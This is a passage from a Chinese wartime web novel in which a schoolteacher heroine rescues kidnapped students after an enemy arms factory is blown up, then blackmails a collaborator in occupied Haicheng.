“轰”地一声! 大地好像猛地震动了一下,不远处,一道火光冲天而起。 春妮不自觉摇晃两下,被这声巨响震得脑子嗡嗡作响,一时间身边人不管说什么,她都听不见了! 待她揉着欲裂的脑袋站起来时,对面的倭国军官车也不要了,正挥舞着军刀集结士兵,往失事的方向赶过去。 黑林莽莽,那些人并不担心将这些学生留在原地,毕竟这里可是人生地不熟的深山老林,哪怕是熟悉路径的老猎人,也不敢在这个时候行走在外。 然而,他们怎么也没料到—— 春妮从藏身地跳出来,冲那些还在发愣的学生招手:“愣着干什么?快上车,快跑啊!” 说着,招呼学生挪开车辆,就这么开着倭国人的军车冲出了林子! “顾老师,接下来咱去哪?”李铁柱兴奋得,现在声音都还在发抖。 春妮手指在方向盘上快速敲击着,冷静下来:“你们先带着他们出去,我和罗队长回去接应涂大哥。” 刚才的动静肯定是涂铁柱闹出来的,这么大的声响,他必定捅了倭国人的马蜂窝,倭国人绝不会放过他。 涂铁柱是她请过来的,她必须回去弄清到底发生了什么事。 第145章 145 后勤 涂铁柱哈哈笑着跳上车, 口中连叫三声:“痛快,痛快!太痛快了!” 然而他一边说,身后轰轰轰轰, 有十辆以上倭国人的机动车衔在他屁股后头狂追! 春妮手握方向盘几个猛转漂移, 将那些紧追在后的倭国人甩开一截,才有功夫问:“你到底干了什么啊?这些倭国人是全都出动了吧?” 涂铁柱直到现在都没有把笑歪的嘴正回来:“倭国人在山里悄悄建了个兵工厂,被老子一把火全给炸上了天。” “倭国人把兵工厂建在这?你没看错?” 不是春妮不相信涂铁柱,而是倭国人才占领东海省只有三年,连附近的武装反抗力量都没有肃清。不说别处,就说这座山,翻过去再走两百多里, 就是华国武装力量建立的另一处根据地,跑到这里来建厂, 他们不怕被人摸了后门? “我怎么可能看错?”涂铁柱从脖领子里掏出个东西:“看见没?千里眼。老子白天就到了,用这东西一看,还有什么看不明白的?那些倭国人在外边搬搬抬抬,全是黑乎乎的枪弹零件。我说你们动作也太慢了, 这个时候才赶过来,差点没误老子的事。” 木工胶合剂, 火药,还有他们劫持的一车木工学徒,再加上东海省的铜矿资源也很丰富……春妮对“兵工厂”的说法也信了一大半:火车上的那些物资虽说不能直接用于制作枪械, 但这个年代步枪和冲锋枪并不是全 钢制作,也不可能使用她那个年代的复合纤维材料, 但枪把手,枪托,炮架都是用的木头。再加上这林子里大量上好的白蜡树和山毛榉, 这些都是可以用于制作上述物资的上好硬木。 难怪他们无论如何也要把学校学生给抢到这里来,再加上这一百多个学生,和那些火药,随便再搞点铜矿炼出子弹壳,可不就能原地组成一家规模不小的枪械厂了? 春妮忍不住揉了揉额头:这下麻烦了,炸了倭国人的兵工厂,难怪他们跟疯了似的,死咬在后边不放。怕是今天他们就算逃脱了倭国人的追捕,后续也会有不小的麻烦。 不过那都是之后要考虑的事了,春妮按住耳机:“铁柱,你车开到哪了?好,你现在停下来,让所有人把车上的火药全搬下来,排成一个圈,对,跟我们以前练过的那样,交错犬齿排放,半径五米,留着路口,用麻绳连接引线,快点,给你五分钟时间……只有一分钟了……留两个人,让其他人先撤……十,九,八,七……三,二,一——都散开!” 春妮油门猛地踩到底,整辆车子猛兽下山一般,四轮腾空,直扑而下! 涂铁柱猝不及防,一脑袋撞上挡风玻璃,“嗷”地一声:“你怎么不说一声就飞了?” 春妮微微一笑:先告诉你了,怎么看你出这回丑? 车子没等落地,她继续布置任务:“倭国人追过来没有?目测有多少米?十米?再等等,五米?好,点引线!” 呲啦啦……轰! 春妮方向盘急转,向来时路上迎去。 对面的山林中,冲天大火几乎扑面而来。火海中滚出七八个身影。她舒了口气,打开车窗:“快上来。” ………… 全力疾驰半个钟头,终于甩掉所有追兵,春妮放松了肩背,把车让给李铁柱开,把涂铁柱赶去后边挤着,自己换了副驾闭目养神:“所有人到城外集合。” 追兵甩掉,车内的气氛也松驰了不少。 涂铁柱仍是觉得新鲜:“顾丫头,你本事不小。这小东西,它到底是个什么啊?这么远说话都听得见,我老涂长这么大都没听说过呢。” “顺风耳。”春妮顺嘴敷衍他。 涂铁柱嗤笑:“什么顺风耳,别糊弄我。” “你都有千里眼,我为什么不能有顺风耳?”春妮怼他一句,心里也好奇他是怎么弄出这么大的阵仗,问道:“那兵工厂你是怎么烧的?” 这可是涂铁柱的得意之作,他立刻神气起来:“那些倭国人车里不是装的火|药吗?老子先放倒两棵树,找机会扎了他们中间一辆车的车胎,放前边那些好车过去。转过山道之后,嘿嘿,老子的这些兄弟可不是吃素的,抢了两辆车,开着车进去,趁那些人不注意,连车带火药全给点了,哈哈哈哈。” 他这活做的的确漂亮,连春妮都挑不出不是。别看这人好像三言两语就说完,好像简单得很,但行动起来,有一点差池,就得把自己搭进去。 而且前面有他引火,她后边才能顺顺利利救出这么多学生,只是这后遗症可能会很可怕。 这个涂铁柱粗中有细,不如听听他的意见。 “那你觉得,我们下一步该怎么办?”春妮问他。 出了这么大的事,倭国人不到白天,到处捉拿他们的榜文说不定就贴遍了东海省的大州小县。他们带着这么多累赘,目标又大,后续的确麻烦。 “我倒是知道个地方可以暂时收留咱们一阵子,但是不能这么多人一起去。” 春妮明白,他是不想带上这些学生。他说的那个地方,很有可能跟他一样,是不知道猫在哪的土匪或是什么势力,这样的地方肯定不方便带那么多人投奔。 “好不容易救了人出来,我是不可能抛弃他们的。”春妮先申明自己的立场,道:“我明白你的顾虑,但这么多人在这,就算我想安排他们去其他地方,也得先弄明白这是哪,怎么走吧。” “那等会儿你们得听我的。”涂铁柱说道。 下一步的去向暂时有了眉目,春妮才有功夫去想其他的事。 “你们说,倭国人怎么会跑到东海省来建兵工厂?” “那还能为什么,你没看这山这么大,好藏地方吗?”涂铁柱张口就来。 “我知道山大,华国大山还少了吗?我意思是,兵工厂这么要紧的地方,他们怎么会放到华国腹地来建?” “是因为咱们这林子多,好就地取材?”李铁柱给了个比较靠谱的猜测。 “可能这是一个原因。”春妮仍觉得,这个理由不足以说服她。 “有没有可能,是倭国人不够用了?”一个学生插嘴道。 “倭国人不是一直不够用?”另一个学生反驳道:“你看我们打这一路来,城里才多少倭国兵守着?不到一百吧?要是够用,至于只有这么一点人守城?” “我知道,我说的不够用跟这不是一回事。”他说:“我听尤丽丽说过,倭国穷得很,要什么没什么。她跟她爹在倭国住的时候,房东老太太的儿子就因为被公司开了,最后为了吃口饭去当的兵。像她房东太太儿子这样的人,说是在倭国有很多。我在想,会不会是战前倭国人都去当了兵,等开打后发现没人做武器了,又把主意打到了我们学校?” 这倒是个崭新的思路。 “倭国也有为了吃饭当兵的人?”涂铁柱带来的人表示不信。在他们眼里,倭国人就是恶魔,也是有钱的外国恶魔。 “哪国都有穷人,哪国都有富人。他要是不穷疯了,怎么会拼死了来打我们?你看那些倭国兵夺门入户的恶相,连根鸡毛都不放过,真的有钱,干得出这么掉份的事?”春妮不像这时代的人,在她心里,这世界的道理从来很简单:只有没有钱,自己过不好日子的人,才会把主意打到别人身上。 跳脱出巢窠来分析,反而更容易看到真实。 假如他们的分析是真,倭国人的技术工种如此短缺,那么,他们国内的经济状况肯定相当地不容乐观。 打仗说到底,拼的就是后勤。现在是侵华的第三年,倭国人的后勤就有了问题,那么再往后呢? 春妮将自己的分析告诉给涂铁柱听,涂铁柱用自己的语言理解了她的话,兴奋得手舞足蹈:“你是说,倭国国内可能没有足够的人手造兵器,不得不把兵工厂搬到咱们华国,逼着敌人给他们造枪造炮?哎呀,这可是件大事啊,我得好好把这个事给他们宣传宣传!” 他维持着亢奋的情绪,一路指挥着春妮开车。他们的身后,跟着他们这次带来的所有人,一个都没有少。 涂铁柱果然有门路,一晚上不到,他带着这队车到了当地一个山村,敲开当地某户人家的门,那户人家连夜叫来一队人,先将他们货车上的东西全部卸完藏好——倭国人的货车就算被涂铁柱带走几辆,又让李铁柱烧了两辆,剩下的还有五六辆之多。虽然值钱,但不处理好,仍然相当扎手。 而这些人处理这些东西的时候,春妮几人被带到另外一个地方,见到了一个人。 这个人的气质有点像在温南的闻老板,但春妮觉得,他比闻老板更内敛一些。他自言姓李,让春妮叫他李叔。 听完涂铁柱的话和他对春妮分析的理解,李叔立刻就说到了点子上:“倭国人的后勤出了大问题,这说明咱们的坚持狠狠打击了敌人,胜利不会远了!你说得对,这件事必须召告出去,让全世界人都知道,倭国人的阴谋是长久不了的!哎呀,你这个小姑娘,很不错嘛,竟然这么快就看出了这一点。” 出了这么大件事,这位一看就是领导人的人物也很忙,几个人匆匆交谈了几句,他一连串吩咐下去,让人为他们找藏身地,还要把这些车带走处理, 以及探听倭国人的后续,做扫尾工作。 在对方做事的时候,涂铁柱将春妮拉到一边:“妹子,你带来的那些学生,想好准备怎么办了吗?” 春妮心中一沉,心里明白,就算对方愿意帮助他们这些行动人员藏身,但他们去的地方肯定不方便泄露出去。这些学生们毕竟曾经落入过倭国人手中,谁知道里面有没有说不清的人,她必须另外想个办法安置他们。 还有倭国人的后续反应会不会波及到学校,波及到她…… 第146章 146 帮助 那位气质有点像闻老板的李叔给了春妮一个钟头处置学生们的事。 其实事情非常明朗, 互助会会长说,他受到了山下友幸的蒙骗。山下告诉他,说帮他们借到了一辆车, 如果由他说出来这车是自己借的, 有些同学会有顾虑他的倭国人身份,不愿意登车游玩,便由会长出面认下借车的事。之后发生了什么,大家都知道了。 现在时间紧迫,春妮他们也没有功夫确认他话中真假,只是请李叔的人看好他,等回海城之后另行处置。 至于其他人…… 春妮告诉他们道:“你们也知道, 这次的事跟山下友幸脱不了关系。他现在还不知道这里发生了什么,但瞒不了多久。如果看见你们回去, 肯定会猜出山里的事跟我们学校有关,到时候包括学校在内,我们这些来救你们的人都会陷入危险。所以,你们不能再回海城了。” 此话一出, 劫后余生,刚露出笑脸没多久的学生们又是一片愁云惨雾。 春妮心中沉沉叹气:原以为只是一次轻松的郊游, 谁知道,从出门的那一刻起便踏入了阴谋之中,到现在还不得不别亲离友, 远遁他乡避祸。经此一变,不知父母亲人再见何期。 只要代入到夏生身上想一想, 春妮就觉得无法忍受,对这些学生们也包容了很多。 学生们也没有伤心得太久,先前在倭国人手上, 该哭的,该怕的早就怕得够了,现在能捡回一条命,已经比之前落入倭国人手中好了太多。 他们很快镇定下来,表示愿意接受春妮的安排。学校在这种境况下也没放弃他们,付出那么大的代价来营救他们,还有什么不能相信的? 当然,这次救他们花费这么多,为了给他们长个教训,春妮告诉他们,付给涂铁柱的报酬,还有汽油费差旅费全部折算成大洋,分摊到他们每个人头上要他们偿还。 不然下次再到处乱跑,可没有第二个“小顾老师”追踪千里来冒死营救他们了。 春妮请来李叔的人帮忙,拿来一叠稿纸,让每个学生给家里写了一封平安信收起来,请李叔另外找了个地方安顿他们,她和学校的保安队成员则跟涂铁柱的人一起去李叔的地盘躲了半个月。 兵工厂被炸,倭国人果然疯了似的开始了大搜捕。包括东海省附近的居民全都多受了几次难,听李叔说,那些倭国人借着搜捕的机会又做了不少恶。 包括李叔的地盘在内也在数日之内迎来了大搜捕,只是他们地点隐蔽,消息渠道也灵便,每每在倭国人搜来之时总能险之又险地躲过去。 为了感谢他们的帮忙,春妮将这次从倭国人手上弄来的车和火药全送给了他们。反正这些东西留在她手上,现在她也没有条件为其改头换面,反而会惹来麻烦。 李叔很上道,收了春妮的车,给她拿来了两百块大洋,春妮再添上百把块,给这次跟她来办事的学生,还有罗阿水一人发了五块钱,算是辛苦费。 还有那些学生们,李叔的人观察几天,来跟春妮说,他看中了几个人想留下来,春妮问过他们,确认两相情愿,便挥手放他们去了。 以有其他的人,他们分别用各种渠道将其分别送往了通向双城的船,不到倭国人滚出海城的那一天,恐怕他们不可能再平安回到故土。那里是大后方,又有尹校长镇守,即便还有些许不轨之徒藏身,相信凭尹校长的能力,也足够将其筛选出来。 春妮听负责护送他们的罗阿水说,学生们离开前哭得很厉害,有些学生还想再见她一面当面感谢他们,但他们自己都还寄人篱下,被倭国人搜捕,现在的情势下,这要求是不可能得到满足的。 春妮听了也只是叹息,这个年代法制缺失,道德沦丧,有时候,人走错一步就是死无葬身之地。犯一次错,付出的代价太高昂了。如果她没有作弊器,想追回这些学生,也几乎是不可能的事。 在春妮离开前的两天,李叔又来看了她一次,还为她带来了一份叫《光明报》的报纸,指着上面的一篇文章同她道:“我把你的观念整理成文章发表到了报纸上,你来看看。” “《使用敌人制作武器,倭寇穷途已现》,”春妮竖起大拇指:“还是头版头条,厉害。” 李叔笑道:“不是我厉害,是上边觉得,你这个分析很有道理,打算下一步从倭国本国的经济情况着手,争取预测出他们下一步还会有什么行动。” 春妮:“您就这么跟我说了你们的计划?” 李叔半真半假,玩笑道:“随便聊聊嘛,不涉及到具体事务,怕什么。我可知道,你是个见多识广的小姑娘,想套套你的料呢。” 春妮摇了摇头:“我能有什么——”忽而顿住。 不可扼制地,春妮心中升起一个荒唐又大胆的想法:若论战局分析,她肯定拿不出什么料,但要说其他的,那可未必吧……也许,她可以借这个机会,将那些她知道的东西说出来—— 她突然觉得口干舌燥,忍不住将李叔打量了又打量。 事到如今,她几乎可以肯定李叔的来历。何况只是空谈,有什么不能说的?说不定她说出来,就有帮助呢? “那……我就随便说说了。”借喝水的功夫,春妮整理了一下思路:“我认为,下一步,倭国人跟德国人的同盟将会更为紧密,在海城的外国人日子更加不好过。这会促成英法美俄结成同盟——” “等等等等,你说英法我能理解,为什么这里边有美俄的事?” “呃……”春妮回忆了一下,顿时汗颜:她好像说得有点快了,这个时候,德国跟俄国还是好朋友呢【注】。她只记得战后是包括华国在内的这五个国家获得了最终胜利,哪知道中间发生了什么事。 不得以,只好就她有限的知识,接着往下诹:“您忘了,倭国人以前跟俄国在咱们东北打过仗?他要是在华国过得太得意,俄国人能答应?还有美国人,一个道理,这世界上的肉就这么多,倭国人吃得多了,别的国家不就少了?” “倒也有些道理。” “所以这些国家必定会联合起来限制倭国人,照倭国人的疯劲,肯定会有反扑。所以,战火还有扩大的机会。现在咱们知道了,倭国人的后勤有问题,等他发了疯,国内经济一崩溃,肯定无法再支持华国这么大的战争。到时候,咱们反败为胜的机会就来了。哪怕他不发疯,我们人多也能缠得他进退不得,看谁耗得过谁,目前看来,是他们先有了败相啊。” “能再具体说说吗?”李叔的眼睛烁烁发光,看春妮的那劲头,跟看见了白生生的大馒头似的:“你不知道,咱们内部目前有些悲观,需要你这样有理有据的乐观分析。” 春妮知道,这个时候,抗战几乎是最艰难的时刻。倭国人节节战胜,而华国这边呢?三年了,春妮才听到两场胜利,人们的坚持需要强心针。何况倭国人的反扑没有到来,也就是说,最艰难的时刻还在后头。 春妮跟李叔的这一谈,直从晚上谈到了下半夜天光破晓。 李叔那本子记得厚厚的,临走前,将她的手握了又握:“你这个小姑娘啊,要不是晓得海城实在离不开你,这回我一定不放你走。就这个眼光,一般人都比不上。” 春妮硬是被他夸得老脸一红:“李叔言重了。我做的事可及不上你们,你们才是我们华国的希望,一定要坚持住啊,胜利不会远的。” 这半个月跟这些人同吃同住,春妮对他们的艰苦深有体会。现在已经到了夏天,因为倭国人的追捕,他们不能点火生烟气,只能天为盖地为庐,硬生生挨着蚊虫的叮咬在密林中穿梭。 如果不是心中有信念,是没办法吃这份苦的。 “我相信这一点。我也相信,我们都会等到胜利的那一天。” ………… 即使有了李叔拿来的《光明报》在前,回到海城之后,春妮才体会到涂铁柱的那一炸真正的威力。 几人是用假身份坐火车分批回到的海城,站台上报童卖的报纸上, 还有谈论本次兵工厂被炸事件的新闻评论。 当然在倭占区,基本都是在吹这次炸工厂的主谋某某某已被枭首示众,警告某些蠢蠢欲动的人,他们的行为不过是螳臂当车,不过是炸了个炼钢厂就如何如何。 而主谋涂铁柱的脑袋大概正好好安放在他那山窝窝的大床上呼呼大睡吧? 火车上也有零星议论兵工厂之事的人,还有人在拿春妮跟李叔说的观念与众人相辩,听在她耳中,有种奇异的膨胀感。 春妮没想过,有朝一日,她竟也微小地影响了一下时局。 这次他们回来,方校长得到消息,又因为放了暑假没有学生要管,早早就等在火车站。看见春妮他们出站,又是激动,又是埋怨:“你怎么回来了呢?我不是叫那什么转告你,让你到双城躲着吗?你这丫头,怎么就不能听我一回?” 春妮决定回海城来,也是经过了深思熟虑。先不说他们那天大张旗鼓地追出去,为的什么事,大伙都心知肚明,就说她要是在出事之后不回来,才是“此地无银三百两”吧? 倭国人做事不会讲道理,若是疑到他们身上,哪怕没有证据,也必然会想办法找他们的麻烦,校长他们在海城的压力必然会遽增。 事实上,如果不是倭国人沿路盘查得厉害,需要李叔帮忙准备证件,伪造经历,春妮他们都不会耽误这么久,早回来了。 “山下友幸呢?”春妮跳过校长的碎碎念,问道。 她可是惦记他很久,很久了呢。 第147章 147 弱点 这半个多月, 春妮他们不是在寻找学生,就是在躲避倭国人搜寻的路上,偶尔跟海城联系, 也用的李叔的渠道, 不过是为了跟方校长对口供,好应付倭国人接下来的盘查,几乎没怎么了解学校现在的形势。 直到方校长到火车站来接春妮一行人,他们才有机会了解到他们离开后,事态接下来的发展。 那天春妮带着罗阿水追到城南火车站时,韩厂长也带着另一批人去了山下友幸的住宅。意料之外又情理之中,山下友幸在他的家里宴客, 看见韩厂长,像什么都不知道似的, 还邀请他进门喝一杯。 韩厂长别看出发时气得发疯,等到了他家,已经冷静了下来。 他看了眼山下友幸的家:满室宾客。 显然,不在场证据和帮手他都有。 这个时候他来找山下友幸的麻烦肯定讨不到便宜, 只好依照程序找山下友幸询问了他是否知道互助会学生失踪的事,山下友幸自然否认了。他还很焦急地表示, 要请朋友们一道帮助学校寻找学生,韩厂长当然不会答应他。 从山下家里出来之后,韩厂长不甘心, 在附近找个地方留了两个人继续监视他家。 “山下还在打咱们学校的主意。”春妮肯定道。 否则他事成之后撤退就是,完全不必要同韩厂长演这出戏。 “什么?小鬼子还不死心?”春妮跟方校长说话时, 李铁柱他们就在旁边坐着,闻言立刻炸了。 “要不,咱们把他——”申庆友目露凶光, 伸出手作了个向下切的动作。 这一次学生们在被倭国人追击中见了血,变得凶悍了不少。 春妮皱眉道:“别乱来。韩厂长后来又做了什么没有?” 方校长就露出“果然还是你了解他”的表情,只道:“第二季度的盈利仍然扣压在我们手里,我全部用它们买了材料,山下有些不满,但都被王老师骂回去了,说他不能跟工厂同甘共苦。通过山下友幸,韩厂长找到了连德江的家。” 山下友幸是连德江的下属,只要想找,连德江住在哪,肯定是找得到的,但春妮觉得,只做到这里,韩厂长肯定不甘心。 方校长又叮嘱学生们:“韩厂长前些日子已经找机会揍了山下一顿。那个龟孙子这些天没敢再来学校,出门也带着人,在防着咱们呢,你们可不准乱来,听见没有?” 等把学生们全都送回家,方校长继续同春妮道:“他找人接近连德江的家眷,听他老婆说,这段日子,连德江往外撒了不少钱出去,好像是因为他做的一个什么事出了岔子,要补钱给人家。” 难道是兵工厂的事找到了连德江头上?但这件事他们确定已经抹除掉了所有痕迹,怎么麻烦还是会落到连德江身上? 春妮决定,回去之后跟韩厂长碰个头,再用自己的渠道查一查,如果真是这件事的余波,到时候就好玩了。 校长的话还没说完:“你这孩子,要是听我的,去了双城该有多好。咱们学校前两天来了一队倭国人,要抓我们保安队的学生去审问,幸好当时符律师,还有纳尔逊都在,才没让他们得逞。你幸好是不在,不然这回也跑不掉。” 炸兵工厂的事,目前知道的人越少越好。 校长只知道他们在追击的过程中狠狠打击了倭国人,不知道其他。学生们也知道厉害,在路上就想好了各种理由应对人们接下来的盘问。 “来学校的倭国人是宪兵队的?” “应该不是,他们穿着便装。”方校长回忆道。 这一听,春妮心里就有了数。 这次她跟李叔交谈,除了对她所知的那点信息交底之外,还得知了倭国国内政军方面更多的信息。倭国的军方也不是铁桶一块,像是他们的兵工厂由国内各大家族企业承包开设,其实是民间公司组织,负责兵工厂保安工作的应当是倭国陆军和公司的安保力量结合。而宪兵队虽然属于倭国军方,但实际上是军警编制,独立于其他倭国军队,并且可以管理比自己大三级的军队成员。 在海城,虽然其他倭国军队也会干缺德事,但跟民政联系紧密一些的,只有宪兵队和倭国人自己的巡捕房。 兵工厂被炸事发在东海省,跟海城是两个行政区划,还不是军方直属,而是私人财团的企业,这里面可以做的文章可太多了。 现在的国际局势正处于一个微妙的平衡中,英法被德国人侵略,而倭国人是德国人的盟友。为了不刺激在海城的英国人,让他们投入敌人的怀抱,使海城的局势更为复杂化,在没有证据的情况下,倭国人很有可能不会愿意主动招惹麻烦,免得刺激到英国人敏感的心情。 所以,去学校抓人的,很可能是那些兵工厂产业主们私下的行动。 李叔判断,这回她要面对的大头不是宪兵队,只要小心一点,在海城的日子,还是勉强过得的。 这样一通分析下来,春妮暗暗吁了口气:看来她回来的选择是对的,接下来,只要她正常做事上下班,管紧学生们的嘴巴,等到风头过去,还是好汉一条。 理论上,春妮认为,这次又将会是个有惊无险的结局。 但在看到夏生的那一刻,她心里却做了另一个决定:“夏生,你不是一直想去港城看看吗?姐姐送你去港城玩两个月,怎么样?” “那你呢?”夏生今年就要满十一岁了,但亲人长日不在身边,总是被放在别 人家寄养,让小小少年早早沉静下来,使得他一点也不像一个十一岁的孩子,即使听见梦寐以求的事成真,第一反应并不是开心得忘形。 “我当然留在海城,工厂有很多——” “这次的危险比以前更大,是不是?”夏生不再像小时候那样,哭着不让她出门。可他安静地望着她,仿佛什么都懂的样子,让春妮更加感到愧疚。 “我——” “姐姐,我长大了。有什么事,你可以直接跟我说的。”夏生认真道。 春妮:“……”哎,弟弟长大了,不好糊弄了。 她按他坐下:“好,那我也好好告诉你,姐姐不想让你留在这,不是因为姐姐有危险,而是怕有些人像上次一样,拿你开刀。” “还是我拖累了姐姐。”他失落地低下头,须臾,又抬起头来:“我明白了。姐姐想做什么做去吧,只要你记得,不管什么时候,我都跟你站在一边。你有什么事,不用瞒着我,直说就是。” 明明是暖心的话,不知怎地,春妮听得心中却是一虚。 ………… 好汉报仇,不分早晚。 回到学校,送走夏生之后,春妮跟韩厂长密议了一个下午,又各自使出手段,确定连德江那边的确出了麻烦,最近在筹集现金之后,她果断出手,将山下友幸请到了学校来。 当然,这个“请”的方式可能不怎么友好。 山下友幸直嚷嚷:“顾老师,你带我到这里来,到底想干什么?” 春妮笑眯眯地:“山下先生别着急,我是有事找连先生说话,想请你帮帮忙联系连先生。” “连先生不——”话说一半,山下友幸急忙改口:“你先放开我,我去帮你约他。” “不用了,”春妮指指电话:“你用这个找他。要是一个钟头之内,连先生到不了学校,那不好意思,我就不客气了。” 山下往后退了两步:“你想干什么?” 春妮捏了捏指骨,微笑道:“我看你不顺眼,就想找个理由打你,看你有没有本事帮我消除这个理由了。” 平白无故拐走他们一百多个学生,却还敢好好在他们眼皮子底下晃,真拿学校里这些人都是摆设了? 经此一事,虽然他们没办法让互助会长站出来跟山下对质,但他还有连德江的人绝对不能再留在学校。 春妮想不到兵不血刃达到目的的方式,但是,她有拳头啊! 反正现在夏生也去了港城,她再无掣肘,收拾一个山下还不轻松? 他之所以敢在他们面前晃悠,无非是仗着他倭国人的身份,可春妮不怕他。经过这段时日的调查,她已经判断出,包括他的主人连德江在内,在倭国人面前不过也是条狗。 她连倭国人都不怕,更何况是条狗? 山下终于露出惧色,拿起了电话。 一个半钟头以后,连德江冷冷盯着蜷在脚边的山下友幸:“顾老师,你一向是这么无法无天吗?” “我无法无天?我比得上连先生一出手就绑架一百多个人的大手笔?” 现在没有别人在,春妮也没必要跟他客气。 连德江从外表上,并看不出他这段日子遭遇的挫折。 他似乎也不屑跟春妮辩驳“到底是不是他做的”这个问题,道:“顾老师有什么话可以直说。” 春妮笑道:“我只是为连先生感到可惜,像先生这样足智多谋,一心为国的倭国人可不多,却始终无法接近真正的权力中心,还要任由那些肉食者践踏。” “你是在为谁说这些话?”连德江看了一眼脚下的山下友幸,正努力拱起身体挣扎。 “那不重要。没有人将您的话当一回事,没有人给予您能力和地位相匹配的尊敬,面对这样的对待,先生真的没有一点不甘吗?” “我并没有觉得自己受到了不公。”他说话的口气有些生硬。 春妮笑了:“您让我直说,可您似乎对我不那么坦承呢。您是生意人,知道我在说什么。”她踢了踢脚边的山下友幸:“好不容易把对方派来的蠢货踢到学校做事,连先生心里其实很高兴吧?” 最先开始,春妮一直以为山下友幸是他的心腹。可谁把心腹放得远远的,一放就是好长时间?思来想去,也只有这个答案最合适。 “我是个忠诚的倭国人!”连德江瞪起眼,似乎受到了极大的侮辱。 “因为你这个忠诚的倭国人,工厂炸上了天,我想,那些大人物知道后,肯定会很生气。”春妮忽然凑近他,轻声。 “你——”连德江惊愕至极,眼中杀机几乎无法扼制:她是在说兵工厂的事,果然跟她有关,她就不怕—— 绝大部分时候,当人们犯了无法挽回的大错误时,首先要做的,必然是掩盖它。 这些人性的弱点,春妮早在上辈子就熟知于心。何况,眼前的这个人还那么胆小。 是的,她不怕。 她还反过来威胁连德江,如果不听她的话,她宁愿找倭国人自曝,也要把他拖下水! 连德江一点也不怀疑她是在说谎:如果她说的是真的,她会为了那一百多个学生亡命奔波,去炸了兵工厂,那么,还有什么事是她做不了的?还有什么是她不敢干的? “是谁让你来找我的?”他问。 她敢肯定,哪怕连德江心里有一万分想让她消失,从现在起,也只敢自己偷偷动手,绝对不会向外泄露一个字,反而—— “你看这个眼线一定不顺眼很久了,我可以等你先处置掉他。”春妮没直接答他,转身丢给连德江一把手枪。 “你真是个疯狂的女人。”良久,他听见自己颓然的声音。 第148章 148 慕强 某种程度上说, 夏生是春妮的掣肘,这话其实没错。 如果夏生还在海城,春妮绝对不敢用自曝这种伤敌一千, 自损八百的方式来威胁连德江。 有时候春妮也想, 或许骨子里,她就是个喜欢以小搏大,兵行险招的赌徒。前面半个月的喋血逃亡,彻底打开了春妮隐藏性格里疯狂的一面。 她咬定了连德江有家有业,不敢跟她翻脸,所以马不停蹄地绑来山下友幸,逼着连德江杀了山下友幸作投名状, 亲自出面来跟她谈判。 她赌对了,又一次。 这几乎是必然的。 第一次, 连德江天时地利人和,却只能眼睁睁看着春妮全身而退,何况第二次。 有一就有二。 春妮不知道的是,连德江的处境比她预估的还糟糕。 打仗最赚钱的生意是什么?毫无疑问, 是军火军工业。 作为一个白手起家的商人,连德江自然想搭上这趟顺风车。为此, 东海省兵工厂从提出构想开始,他就全程参与,投钱投力, 比他以往任何的一门生意都上心。 可现在,他们被一车火|药炸成了废墟。 单论价值的话, 其实那里只是刚建了一个雏形,涂铁柱炸毁的地方没有那么值钱。就连工厂的工人,也是连德江跟在江浦一样, 想方设法坑骗来的。那些人进了工厂,自然不用再谈待遇。 但是,军部开始重新评估东海省的危险等级,最新决议是,将暂缓在东海省建立兵工厂的计划,已经划拨下来的物料也会调回华国东北——那里实际已经秘密建立了好几个军工基地。 他们认为,那里他们经营多年,不管从地势还是物资而言,都更适合工厂生存。 这就是说,如果兵工厂计划流产,不止连德江的前期准备全部泡汤,他还要面对来自其他大股东的怒火——凭借他一个人,可建不了工厂。 战争年代,军部的权力几乎无限。 这段时间,原本在黑龙会地位因为兵工厂而略有起色的连德江再次跌入了谷底。 而这个时候—— 春妮亲口对他说出真相的那一刻,他生吞了对方的心都有,可他还是生生忍下了。眼前的这个,不是普通的小姑娘,她很强,强到他的计谋在她面前完全没有作用。 或许是倭国人慕强的天性作祟,杀了山下友幸之后,连德江已经没有了退路。 当天晚上,他见到了纳尔逊——他以为的幕后人。 跟英国人合作,好歹不那么令人难以接受。 他们的谈话进行得很顺利,这是春妮从他们谈话的时长和事后两人的脸色中判断出来的——从两人进入同一间办公室开始,春妮就自觉退了出来,离得远远的。 “密斯顾,我想再说一遍,你非常有天赋,你真的不考虑发展一下类似的业务吗?”纳尔逊离开时,又一次对春妮发出了邀请。 这个嗅觉灵敏的英国人不知从哪知道了什么,一反前几次的高高在上,对她热情了很多,这令她相当不适应。 “完全不。”春妮生怕他还存在不合宜的幻想,拒绝得非常坚决。 这次跟连德江的交锋,让她及时清醒了过来:像她这种喜欢赌命的人,反 而更不适合做这种危险的事。善泳着溺于水,她如果不想死得太早,离这些危险的事最好更远一点。 何况她不缺钱,纳尔逊也给不出她心动的条件让她去做情报贩子,或是类似的掮客。 “好吧。”纳尔逊遗憾地耸耸肩:“我随时等你改变主意。” “也许……”春妮迟疑了一下:“纳尔逊先生,没有我,你们也可以接纳其他的华国人。” “除了密斯顾,我想,没有其他华国人有足够的能力胜任这样的角色。”纳尔逊道。 他完全不认为,他的这番话在一个华国人面前有多傲慢,亏他以前还当过华国人的管家。 鉴于纳尔逊对自己评价不低,春妮还是决定善意地提醒一下他:“融入一片海的办法是让自己也变成水滴。你们别忘了,你们在华国的土地上。不管想干什么,你们都绕不开华国人。” “好吧,我知道了。”纳尔逊不知道是真“知道了”,还是假“知道了”,很快给出了他的承诺:“我会尽快促成俘虏营人权健全制度,让你的朋友白先生和他的同伴学习他们想学的汽车和自行车修理这些技术。” 春妮怔了一下,想起她走之前,白云铠提起的,想让俘虏们学习技术,让他们有一技之长,以免他们脱困之后没办法自食其力。 因为这些营兵大多目不识丁,做不了太复杂的工作,其中白云铠最青睐的,就是汽车和自行车修理这两项技术。 但白俄营兵们舍不得放弃他们这些廉价劳动力,对于他们的要求,一向百般阻拦。如果能有租界首席董事的管家帮他们说句话,这件事基本就成了。 “我很感谢纳尔逊先生对我朋友的帮助。您是打算用这件事作为我辛苦一场的报酬吗?”春妮揶揄地看着他。 为了让连德江听话上他们的船,她可是冒着巨大的风险自曝,纳尔逊轻轻松松一句话想打发她,这是做的什么梦? 纳尔逊不傻,他很快笑道:“如果密斯顾愿意的话,我会为此支付合适的价钱,你可以开个价钱。” “那好吧,那您记得,您欠我一个人情。”春妮只好道。 她做这件事,最主要是想从根本上消除连德江对学校带来的威胁,在这个过程中,只不过顺便帮助达成纳尔逊和他的合作,金钱反而是最不重要的一环。 她又不缺钱,好不容易让纳尔逊找她帮了一次忙,用金钱就交割了这次的交易,太不划算了。 